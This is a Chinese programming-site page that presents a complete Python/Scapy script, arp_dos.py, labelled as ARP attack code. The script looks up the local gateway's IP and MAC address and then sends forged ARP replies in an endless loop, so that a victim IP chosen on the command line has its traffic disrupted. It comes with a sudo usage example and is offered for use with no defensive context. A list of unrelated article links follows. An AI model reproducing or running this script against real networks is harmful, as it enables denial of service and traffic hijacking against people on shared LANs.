python写的ARP攻击代码实例
时间:2023-05-23 19:45:46
注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题
#coding:utf-8
#example :sudo python arp_dos.py 192.168.1.103
from scapy.all import ARP,send
import os,re,sys
def get_gateway_ip():
t=os.popen('route -n')
for i in t:
if i.startswith('0.0.0.0'):
r=re.split("\s+",i)
return r[1]
def get_gateway_hw(ip):
t=os.popen('arp -e %s' % ip)
for i in t:
if i.startswith(ip):
r=re.split("\s+",i)
return r[2]
def hack(hackip):
ip=get_gateway_ip()
hw=get_gateway_hw(ip)
arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
#os.popen('ifconfig eth0 %s' % hackip )
while 1:
send(arp)
def help():
print ("USEAGE: sudo python arp_dos.py 192.168.1.100")
def main():
if len(sys.argv) != 2:
help()
else:
hack(sys.argv[1])
if __name__=="__main__":
main()
![](/images/zang.png)
![](/images/jiucuo.png)
猜你喜欢
Python实现动态绘图的示例详解
![](https://img.aspxhome.com/file/2023/5/93615_0s.gif)
mysql创建master/slave详细步骤
pandas应用实例之pivot函数详解
![](https://img.aspxhome.com/file/2023/4/117954_0s.png)
Uchome1.2 1.5 代码学习 common.php
打包FlaskAdmin程序时关于static路径问题的解决
![](https://img.aspxhome.com/file/2023/6/59306_0s.png)
php使用ZipArchive函数实现文件的压缩与解压缩
python 读txt文件,按‘,’分割每行数据操作
![](https://img.aspxhome.com/file/2023/7/95917_0s.jpg)
python闭包的实例详解
Python 不设计 do-while 循环结构的理由
![](https://img.aspxhome.com/file/2023/9/68299_0s.jpg)
教你用eclipse连接mysql数据库
![](https://img.aspxhome.com/file/2023/4/103564_0s.png)
浅谈pandas中Dataframe的查询方法([], loc, iloc, at, iat, ix)
Python运行报错UnicodeDecodeError的解决方法
Python实现字符串模糊匹配方式
![](https://img.aspxhome.com/file/2023/4/64644_0s.png)
windows server2016安装MySQL5.7.19解压缩版教程详解
python内存管理分析
![](https://img.aspxhome.com/file/2023/8/131588_0s.jpg)
在python下实现word2vec词向量训练与加载实例
python数据可视化Pyecharts库sankey修改桑葚图颜色
![](https://img.aspxhome.com/file/2023/5/76765_0s.jpg)
页面内查找
PyTorch开源图像分类工具箱MMClassification详解
![](https://img.aspxhome.com/file/2023/8/88988_0s.png)
学习ASP.NET八天入门:第四天
![](https://img.aspxhome.com/file/UploadPic/20078/7/200787134256933s.gif)